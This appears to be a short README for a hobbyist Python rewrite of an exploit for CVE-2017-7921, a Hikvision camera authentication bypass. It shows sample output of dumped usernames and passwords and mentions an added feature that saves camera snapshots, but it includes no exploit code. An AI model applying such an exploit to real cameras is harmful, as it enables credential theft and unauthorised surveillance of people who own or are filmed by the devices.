CVE-2017-7921-rewrite

simple CVE-2017-7921 rewrite in python by me. for educational purposes only!

kinda simple, i didnt include checks for stuff like ips, and advanced checks for the response and such. I tested it on a camera I am authorized to test it on (within my local network) and it seems to work perfectly.

#Example output:

python 2017.py
found usernames: admin,defualt
admin:Pa$$W0rd
defualt:Xf07732479

This matches the credentials which we will get if we use the same exploit on "msfconsole"

[*] User Credentials Information:
-----------------------------
User:admin | ID:1 | Role:Administrator | Password: Pa$$W0rd
User:defualt | ID:2 | Role:Operator | Password: Xf07732479

#sources actual details: https://medium.com/@k3yb0ard/when-you-pay-to-sell-your-own-privacy-a-technical-deep-dive-into-cve-2017-7921-hikvision-auth-576b581f4afe

cve: https://nvd.nist.gov/vuln/detail/cve-2017-7921

#update also added snapshot which allows you to get a snapshot from /Streaming/channels/1/picture and save it to a file ip.jpg